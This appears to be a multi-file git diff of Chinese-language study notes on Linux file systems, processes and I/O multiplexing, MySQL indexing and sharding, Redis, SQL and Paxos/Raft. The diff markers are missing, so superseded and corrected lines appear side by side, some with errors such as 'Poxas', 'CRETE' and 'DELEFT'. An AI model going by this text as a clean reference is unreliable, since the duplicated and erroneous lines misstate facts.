<div align="center"> <img src="../pics//ff0c019c-6461-467d-a266-0455341fd4f4.png" width="800"/> </div><br>
当要读取一个文件的内容时,先在 inode 中去查找文件内容所在的所有 block然后把所有 block 的内容读出来。
磁盘碎片是指一个文件内容所在的 block 过于分散。
Ext2 文件系统使用了上述的文件结构,并在此之上加入了 block 群组的概念,也就是将一个文件系统划分为多个 block 群组,方便管理。
<div align="center"> <img src="../pics//1974a836-aa6b-4fb8-bce1-6eb11969284a.jpg"/> </div><br>
## inode
Ext2 文件系统支持的 block 大小有 1k、2k 和 4k 三种,不同的 block 大小限制了单一文件的大小。而每个 inode 大小是固定为 128 bytes。
inode 中记录了文件内容所在的 block但是每个 block 非常小,一个大文件随便都需要几十万的 block。而一个 inode 大小有限,无法直接引用这么多 block。因此引入了间接、双间接、三间接引用。间接引用是指让 inode 记录的引用 block 块当成 inode 用来记录引用信息。
<div align="center"> <img src="../pics//89091427-7b2b-4923-aff6-44681319a8aa.jpg"/> </div><br>
<div align="center"> <img src="../pics//1bfa3118-f3cd-4480-a950-cf6d646015db.png" width="600"/> </div><br>
inode 具体包含以下信息:
@ -561,7 +559,7 @@ inode 具体包含以下信息:
删除任意一个条目,文件还是存在,只要引用数量不为 0。
有以下限制:不能跨越 File System不能对目录进行链接。
有以下限制:不能跨越 File System不能对目录进行链接。
```html
# ln /etc/crontab .
@ -636,7 +634,7 @@ $ bzip2 [-cdkzv#] filename
提供比 bzip2 更佳的压缩比。
可以看到gzip、bzip2、xz 的压缩比不断优化。不过要注意,压缩比越高,压缩的时间也越长。
可以看到gzip、bzip2、xz 的压缩比不断优化。不过要注意的是,压缩比越高,压缩的时间也越长。
查看命令xzcat、xzmore、xzless、xzgrep。
@ -932,7 +930,7 @@ $ grep -n 'the' regular_express.txt
18:google is the best tools for search keyword
```
因为 { 与 } 的符号在 shell 是有特殊意义的,因此必须要使用转义字符进行转义。
因为 { 和 } 在 shell 是有特殊意义的,因此必须要使用转义字符进行转义。
```html
$ grep -n 'go\{2,5\}g' regular_express.txt
@ -1026,7 +1024,7 @@ daemon 2
示例三:查看特定的进程
```html
```
# ps aux | grep threadx
```
@ -1060,16 +1058,17 @@ daemon 2
## 进程状态
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
| 状态 | 说明 |
| :---: | --- |
| R | running or runnable (on run queue) |
| D | uninterruptible sleep (usually IO) |
| D | uninterruptible sleep (usually IO) |
| S | interruptible sleep (waiting for an event to complete) |
| Z | defunct/zombie, terminated but not reaped by its parent |
| T | stopped, either by a job control signal or because it is being traced|
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png"/> </div><br>
## SIGCHILD
当一个子进程改变了它的状态时:停止运行,继续运行或者退出,有两件事会发生在父进程中:
@ -1077,13 +1076,13 @@ daemon 2
- 得到 SIGCHLD 信号;
- 阻塞的 waitpid(2)(或者 wait调用会返回。
<div align="center"> <img src="../pics//flow.png"/> </div><br>
<div align="center"> <img src="../pics//flow.png" width=""/> </div><br>
## 孤儿进程和僵死进程
### 1. 孤儿进程
一个父进程退出,而它的一个或多个子进程还在运行,那么些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1所收养并由 init 进程对它们完成状态收集工作。
一个父进程退出,而它的一个或多个子进程还在运行,那么些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1所收养并由 init 进程对它们完成状态收集工作。
由于孤儿进程会被 init 进程收养,所以孤儿进程不会对系统造成危害。
@ -1118,7 +1117,7 @@ I/O Multiplexing 又被称为 Event Driven I/O它可以让单个进程具有
同步异步是获知 I/O 完成的方式,同步需要时刻关心 I/O 是否已经完成,异步无需主动关心,在 I/O 完成时它会收到通知。
<div align="center"> <img src="../pics//00eda100-dba1-4ec2-9140-5fe5f3855951.jpg"/> </div><br>
<div align="center"> <img src="../pics//54cb3f21-485b-4159-8bf5-dcde1c4d4c36.png" width=""/> </div><br>
### 1. 同步-阻塞
@ -1126,31 +1125,31 @@ I/O Multiplexing 又被称为 Event Driven I/O它可以让单个进程具有
应该注意到,在阻塞的过程中,其他程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,因此不消耗 CPU 时间,这种模型的执行效率会比较高。
<div align="center"> <img src="../pics//5e9b10f3-9504-4483-9667-d4770adebf9f.png"/> </div><br>
<div align="center"> <img src="../pics//5e9b10f3-9504-4483-9667-d4770adebf9f.png" width=""/> </div><br>
### 2. 同步-非阻塞
非阻塞意味着用户程序在执行系统调用后还可以执行,内核并不是马上执行完 I/O而是以一个错误码来告知用户程序 I/O 还未完成。为了获得 I/O 完成事件,用户程序必须调用多次系统调用去询问内核,甚至是忙等,也就是在一个循环里面一直询问并等待。
非阻塞意味着用户程序在执行系统调用后还可以继续执行,内核并不是马上执行完 I/O而是以一个错误码来告知用户程序 I/O 还未完成。为了获得 I/O 完成事件,用户程序必须调用多次系统调用去询问内核,甚至是忙等,也就是在一个循环里面一直询问并等待。
由于 CPU 要处理更多的用户程序的询问,因此这种模型的效率是比较低的。
<div align="center"> <img src="../pics//1582217a-ed46-4cac-811e-90d13a65163b.png"/> </div><br>
<div align="center"> <img src="../pics//1582217a-ed46-4cac-811e-90d13a65163b.png" width=""/> </div><br>
### 3. 异步-阻塞
这是 I/O 复用使用的一种模式,通过使用 select它可以监听多个 I/O 事件,当这些事件至少有一个发生时,用户程序会收到通知。
<div align="center"> <img src="../pics//dbc5c9f1-c13c-4d06-86ba-7cc949eb4c8f.jpg"/> </div><br>
<div align="center"> <img src="../pics//dbc5c9f1-c13c-4d06-86ba-7cc949eb4c8f.jpg" width=""/> </div><br>
### 4. 异步-非阻塞
该模式下I/O 操作会立即返回,之后可以处理其它操作,并且在 I/O 完成时会收到一个通知,此时会中断正在处理的操作,然后完成 I/O 事务
该模式下I/O 操作会立即返回,之后可以处理其它操作,并且在 I/O 完成时会收到一个通知,此时会中断正在处理的操作,然后继续之前的操作
<div align="center"> <img src="../pics//b4b29aa9-dd2c-467b-b75f-ca6541cb25b5.jpg"/> </div><br>
<div align="center"> <img src="../pics//b4b29aa9-dd2c-467b-b75f-ca6541cb25b5.jpg" width=""/> </div><br>
## select poll epoll
这三个都是 I/O 多路复用的具体实现select 出现的最早,之后是 poll再是 epoll。可以说,新出现的实现是为了修复旧实现的不足。
这三个都是 I/O 多路复用的具体实现select 出现的最早,之后是 poll再是 epoll。
### 1. select
@ -1321,7 +1320,7 @@ select 和 poll 方式中,进程只有在调用一定的方法后,内核才
新版本的 epoll_create(int size) 参数 size 不起任何作用,在旧版本的 epoll 中如果描述符的数量大于 size不保证服务质量。
epoll_ct() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
epoll_ctl() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
epoll_wait() 取出在内核中通过链表维护的 I/O 准备好的描述符,将他们从内核复制到程序中,不需要像 select/poll 对注册的所有描述符遍历一遍。
@ -1396,3 +1395,4 @@ poll 没有最大描述符数量的限制,如果平台支持应该采用 poll
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)

View File

@ -14,12 +14,11 @@
* [索引优化](#索引优化)
* [B-Tree 和 B+Tree 原理](#b-tree-和-b+tree-原理)
* [四、查询性能优化](#四查询性能优化)
* [五、库与分表](#五库与分表)
* [原因](#原因)
* [实现方式](#实现方式)
* [Merge 存储引擎](#merge-存储引擎)
* [五、分](#五分)
* [垂直切分](#垂直切分)
* [水平切分](#水平切分)
* [切分的选择](#切分的选择)
* [存在的问题](#存在的问题)
* [分表与分区的不同](#分表与分区的不同)
* [六、故障转移和故障恢复](#六故障转移和故障恢复)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -121,13 +120,17 @@ MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提
## 索引分类
### 1. B-Tree 索引
### 1. B+Tree 索引
B-Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
<div align="center"> <img src="../pics//c23957e9-a572-44f8-be15-f306c8b92722.jpg"/> </div><br>
《高性能 MySQL》一书使用 B-Tree 进行描述,其实从技术上来说这种索引是 B+Tree。
B+Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
因为不再需要进行全表扫描,只需要对树进行搜索即可,因此查找速度快很多。
可以指定多个列作为索引列多个索引列共同组成键。B-Tree 索引适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。
可以指定多个列作为索引列多个索引列共同组成键。B+Tree 索引适用于全键值、键值范围和键前缀查找,其中键前缀查找只适用于最左前缀查找。
除了用于查找,还可以用于排序和分组。
@ -139,7 +142,7 @@ B-Tree 索引是大多数 MySQL 存储引擎的默认索引类型。
在 MySQL 中只有 Memory 引擎显式支持哈希索引。
InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B-Tree 索引之上再创建一个哈希索引,这样就让 B-Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。
限制:哈希索引只包含哈希值和行指针,而不存储字段值,所以不能使用索引中的值来避免读取行。不过,访问内存中的行的速度很快,所以大部分情况下这一点对性能影响并不明显;无法用于分组与排序;只支持精确查找,无法用于部分查找和范围查找;如果哈希冲突很多,查找速度会变得很慢。
@ -179,7 +182,7 @@ SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
对于 BLOB、TEXT 和 VARCHAR 类型的列,必须使用前缀索引,只索引开始的部分字符。
对于前缀长度的选取需要根据 **索引选择性** 来确定:不重复的索引值和记录总数的比值。选择性越高,查询效率也越高。最大值为 1 ,此时每个记录都有唯一的索引与其对应。
对于前缀长度的选取需要根据 **索引选择性** 来确定:不重复的索引值和记录总数的比值。选择性越高,查询效率也越高。最大值为 1此时每个记录都有唯一的索引与其对应。
### 3. 多列索引
@ -209,7 +212,7 @@ customer_id_selectivity: 0.0373
### 5. 聚簇索引
<div align="center"> <img src="../pics//b9e9ae8c-e216-4c01-b267-a50dbeb98fa4.jpg"/> </div><br>
<div align="center"> <img src="../pics//e800b001-7779-495b-8459-d33a7440d7b8.jpg"/> </div><br>
聚簇索引并不是一种索引类型,而是一种数据存储方式。
@ -217,12 +220,12 @@ customer_id_selectivity: 0.0373
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
#### 优点
**优点**
1. 可以把相关数据保存在一起,减少 I/O 操作;
2. 因为数据保存在 B-Tree 中,因此数据访问更快。
#### 缺点
**缺点**
1. 聚簇索引最大限度提高了 I/O 密集型应用的性能,但是如果数据全部放在内存,就没必要用聚簇索引。
2. 插入速度严重依赖于插入顺序,按主键的顺序插入是最快的。
@ -234,7 +237,7 @@ customer_id_selectivity: 0.0373
索引包含所有需要查询的字段的值。
#### 优点
**优点**
1. 因为索引条目通常远小于数据行的大小,所以若只读取索引,能大大减少数据访问量。
2. 一些存储引擎(例如 MyISAM在内存中只缓存索引而数据依赖于操作系统来缓存。因此只访问索引可以不使用系统调用通常比较费时
@ -277,9 +280,9 @@ B-Tree 是满足下列条件的数据结构:
红黑树等数据结构也可以用来实现索引,但是文件系统及数据库系统普遍采用 B-/+Tree 作为索引结构。
页是计算机管理存储器的逻辑块,硬件及操作系统往往将主存和磁盘存储区分割为连续的大小相等的块,每个存储块称为一页(在许多操作系统中,页大小通常为 4k主存和磁盘以页为单位交换数据。
页是计算机管理存储器的逻辑块,硬件及操作系统往往将主存和磁盘存储区分割为连续的大小相等的块,每个存储块称为一页(在许多操作系统中,页大小通常为 4k主存和磁盘以页为单位交换数据。
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O磁盘往往不是严格按需读取而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理当一个数据被用到时其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理将一个节点的大小设为等于一个页这样每个节点只需要一次 I/O 就可以完全载入。B-Tree 中一次检索最多需要 h-1 次 I/O根节点常驻内存渐进复杂度为 O(h)=O(logdN)。一般实际应用中,出度 d 是非常大的数字,通常超过 100因此 h 非常小(通常不超过 3。而红黑树这种结构h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O磁盘往往不是严格按需读取而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理当一个数据被用到时其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理将一个节点的大小设为等于一个页这样每个节点只需要一次 I/O 就可以完全载入。B-Tree 中一次检索最多需要 h-1 次 I/O根节点常驻内存渐进复杂度为 O(h)=O(log<sub>d</sub>N)。一般实际应用中,出度 d 是非常大的数字,通常超过 100因此 h 非常小(通常不超过 3。而红黑树这种结构h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
B+Tree 更适合外存索引,原因和内节点出度 d 有关。由于 B+Tree 内节点去掉了 data 域,因此可以拥有更大的出度,拥有更好的性能。
@ -318,6 +321,7 @@ SELECT * FROM sakila.film_actor WHERE film_id = 1;
```sql
DELEFT FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
```
```sql
rows_affected = 0
do {
@ -326,32 +330,25 @@ do {
} while rows_affected > 0
```
# 五、分库与分表
# 五、
## 原因
随着时间和业务的发展,数据库中的表会越来越多,并且表中的数据量也会越来越大,那么读写操作的开销也会随着增大。
## 实现方式
### 1. 垂直切分
## 垂直切分
将表按功能模块、关系密切程度划分出来,部署到不同的库上。例如,我们会建立商品数据库 payDB、用户数据库 userDB 等,分别用来存储项目与商品有关的表和与用户有关的表。
### 2. 水平切分
## 水平切分
把表中的数据按照某种规则存储到多个结构相同的表中,例如按 id 的散列值、性别等进行划分。
### 3. 切分的选择
## 切分的选择
如果数据库中的表太多,并且项目各项业务逻辑清晰,那么垂直切分是首选。
如果数据库的表不多,但是单表的数据量很大,应该选择水平切分。
## Merge 存储引擎
该存储引擎支持分表。
## 存在的问题
### 1. 事务问题
@ -366,9 +363,6 @@ do {
最显而易见的就是数据的定位问题和数据的增删改查的重复执行问题,这些都可以通过应用程序解决,但必然引起额外的逻辑运算。
## 分表与分区的不同
分表,就是将一张表分成多个小表,这些小表拥有不同的表名;而分区是将一张表的数据分为多个区块,这些区块可以存储在同一个磁盘上,也可以存储在不同的磁盘上,这种方式下表仍然只有一个。
# 六、故障转移和故障恢复
@ -386,15 +380,14 @@ do {
通过代理,可以路由流量到可以使用的服务器上。
<div align="center"> <img src="../pics//fabd5fa0-b75e-48d0-9e2c-31471945ceb9.jpg"/> </div><br>
### 在应用中处理故障转移
将故障转移整合到应用中可能导致应用变得太过笨拙。
# 参考资料
- 高性能 MySQL
- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
- [MySQL 索引背后的数据结构及算法原理 ](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
- [20+ 条 MySQL 性能优化的最佳经验 ](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
- [数据库为什么分库分表mysql的分库分表方案](https://www.i3geek.com/archives/1108)

View File

@ -53,12 +53,12 @@ Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,
# 二、五种基本类型
| 数据类型 | 可以存储的值 | 操作 |
| -- | -- | -- |
| :--: | :--: | :--: |
| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
| LIST | 链表 | 从两端压入或者弹出元素</br> 读取单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 |
| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
| ZSET | 有序集合 | 添加、获取、删除元素个元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
@ -235,16 +235,20 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
可以将快照复制到其它服务器从而创建具有相同数据的服务器副本。
如果系统发生故障,将会丢失最后一次创建快照之后的数据。并且如果数据量很大,保存快照的时间也会很长。
如果系统发生故障,将会丢失最后一次创建快照之后的数据。
如果数据量很大,保存快照的时间会很长。
## 2. AOF 持久化
AOF 持久化将写命令添加到 AOF 文件Append Only File的末尾。
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。因此将写命令添加到 AOF 文件时,要根据需求来保证何时将添加的数据同步到硬盘上,有以下同步选项:
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。
将写命令添加到 AOF 文件时,要根据需求来保证何时将添加的数据同步到硬盘上,有以下同步选项:
| 选项 | 同步频率 |
| -- | -- |
| :--: | :--: |
| always | 每个写命令都同步 |
| everysec | 每秒同步一次 |
| no | 让操作系统来决定何时同步 |
@ -361,7 +365,7 @@ def main():
从事件处理的角度来看,服务器运行流程如下:
<div align="center"> <img src="../pics//73b73189-9e95-47e5-91d0-9378b8462e15.png"/> </div><br>
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png"/> </div><br>
# 十一、Redis 与 Memcached 的区别
@ -391,26 +395,26 @@ Memcached 将内存分割成特定长度的块来存储数据,以完全解决
## 缓存
适用 Redis 作为缓存,将热点数据放到内存中。
将热点数据放到内存中。
## 消息队列
Redis 的 List 类型是双向链表,很适合用于消息队列。
List 类型是双向链表,很适合用于消息队列。
## 计数器
Redis 这种内存数据库能支持计数器频繁读写操作。
Redis 这种内存数据库能支持计数器频繁读写操作。
## 好友关系
使用 set 类型的交集很容易就可以知道两个用户的共同好友。
使用 Set 类型的交集操作很容易就可以知道两个用户的共同好友。
# 十三、数据淘汰策略
可以设置内存最大使用量,当内存使用量超过时施行淘汰策略,具体有 6 种淘汰策略。
| 策略 | 描述 |
| -- | -- |
| :--: | :--: |
| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
@ -452,8 +456,8 @@ Redis 没有关系型数据库中的表这一概念来将同类型的数据存
# 参考资料
- Redis 实战
- Reids 设计与实现
- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
- 黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.
- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)

View File

@ -22,6 +22,7 @@
* [二十一、事务处理](#二十一事务处理)
* [二十二、字符集](#二十二字符集)
* [二十三、权限管理](#二十三权限管理)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -174,7 +175,7 @@ ORDER BY col1 DESC, col2 ASC;
# 九、过滤
不进行过滤的数据非常大,导致通过网络传输了很多多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
```sql
SELECT *
@ -189,7 +190,7 @@ WHERE col IS NULL;
| = < > | 等于 小于 大于 |
| <> != | 不等于 |
| <= !> | 小于等于 |
| >= !< | 大于等于 |
| &gt;= !< | 大于等于 |
| BETWEEN | 在两个值之间 |
| IS NULL | 为NULL值 |
@ -205,9 +206,9 @@ WHERE col IS NULL;
通配符也是用在过滤语句中,但它只能用于文本字段。
- **%** 匹配 >=0 个任意字符,类似于 \*
- **%** 匹配 >=0 个任意字符;
- **\_** 匹配 ==1 个任意字符,类似于 \.
- **\_** 匹配 ==1 个任意字符;
- **[ ]** 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。
@ -316,7 +317,7 @@ mysql> SELECT NOW();
AVG() 会忽略 NULL 行。
使用 DISTINCT 可以汇总函数值汇总不同的值。
使用 DISTINCT 可以汇总函数值汇总不同的值。
```sql
SELECT AVG(DISTINCT col1) AS avg_col
@ -369,7 +370,7 @@ ORDER BY num;
可以将子查询的结果作为 WHRER 语句的过滤条件:
```
```sql
SELECT *
FROM mytable1
WHERE col1 IN (SELECT col2
@ -435,7 +436,7 @@ where department = (
自连接版本
```sql
select name
select e2.name
from employee as e1, employee as e2
where e1.department = e2.department
and e1.name = "Jim";
@ -621,7 +622,7 @@ MySQL 不允许在触发器中使用 CALL 语句 ,也就是不能调用存储
3. 提交commit指将未存储的 SQL 语句结果写入数据库表;
4. 保留点savepoint指事务处理中设置的临时占位符placeholder你可以对它发布回退与回退整个事务处理不同
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CRETE 和 DROP 语句。
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。
MySQL 的事务提交默认是隐式提交,也就是每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。
@ -704,8 +705,6 @@ SHOW GRANTS FOR myuser;
GRANT SELECT, INSERT ON mydatabase.* TO myuser;
```
<div align="center"> <img src="../pics//c73aa08e-a987-43c9-92be-adea4a884c25.png"/> </div><br>
账户用 username@host 的形式定义username@% 使用的是默认主机名。
## 删除权限
@ -730,3 +729,6 @@ GRANT 和 REVOKE 可在几个层次上控制访问权限:
SET PASSWROD FOR myuser = Password('newpassword');
```
# 参考资料
- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.

View File

@ -24,7 +24,7 @@ Two-phase Commit2PC
<div align="center"> <img src="../pics//07717718-1230-4347-aa18-2041c315e670.jpg"/> </div><br>
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
## 存在的问题
@ -40,7 +40,7 @@ Two-phase Commit2PC
1. 提议者Proposer提议一个值
2. 接受者Acceptor对每个提议进行投票
3. 告知者Learner被告知投票的结果不参与投票过程。
3. 告知者Learner被告知投票的结果不参与投票过程。
<div align="center"> <img src="../pics//0aaf4630-d2a2-4783-b3f7-a2b6a7dfc01b.jpg"/> </div><br>
@ -48,49 +48,51 @@ Two-phase Commit2PC
规定一个提议包含两个字段:[n, v],其中 n 为序号具有唯一性v 为提议值。
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向每个 Acceptor 发送提议请求。
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送提议请求。
<div align="center"> <img src="../pics//2bf2fd8f-5ade-48ba-a2b3-74195ac77c4b.png" width="500"/> </div><br>
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收的提议为 [n1, v1],并且保证以后不会再接受提议值小于 n1 的提议。
当 Acceptor 接收到一个提议请求,包含的提议为 [n1, v1],并且之前还未接收过提议请求,那么发送一个提议响应,设置当前接收的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
如下图Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,并且设置当前接收的提议为 [n=2, v=8],并且保证以后不会再接受提议值小于 2 的提议。其它的 Acceptor 类似。
如下图Acceptor X 在收到 [n=2, v=8] 的提议请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的提议响应,并且设置当前接收的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
<div align="center"> <img src="../pics//3f5bba4b-7813-4aea-b578-970c7e3f6bf3.jpg" width="600"/> </div><br>
<div align="center"> <img src="../pics//3f5bba4b-7813-4aea-b578-970c7e3f6bf3.jpg"/> </div><br>
如果 Acceptor 接受到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收的提议为 [n2, v2],并且保证以后不会再接受提议值小于 n2 的提议。
如果 Acceptor 接受到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的提议响应,设置当前接收的提议为 [n=4, v=5],并且保证以后不会再接受提议值小于 4 的提议。Acceptor Y 类似。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的提议响应,设置当前接收的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
<div align="center"> <img src="../pics//9b829410-86c4-40aa-ba8d-9e8e26c0eeb8.jpg" width="600"/> </div><br>
当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。
如下图Proposer A 接受到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受提议值小于 4 的提议。Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
Proposer A 接受到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。
<div align="center"> <img src="../pics//2c4556e4-0751-4377-ab08-e7b89d697ca7.png" width="400"/> </div><br>
Acceptor 接收到接受请求时,如果提议号大于等于该 Acceptor 承诺的最小提议号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
Acceptor 接收到接受请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
<div align="center"> <img src="../pics//8adb2591-d3f1-4632-84cb-823fb9c5eb09.jpg" width="500"/> </div><br>
<div align="center"> <img src="../pics//8adb2591-d3f1-4632-84cb-823fb9c5eb09.jpg"/> </div><br>
## 约束条件
### 1. 正确性
只有一个提议值会生效。
只有一个提议值会生效。
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
### 2. 可终止性
最后总会有一个提议生效。
最后总会有一个提议生效。
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
# 三、Raft 协议
Raft 和 Poxas 类似,但是更容易理解,也更容易实现。
Raft 和 Paxos 类似,但是更容易理解,也更容易实现。
Raft 主要是用来竞选主节点。

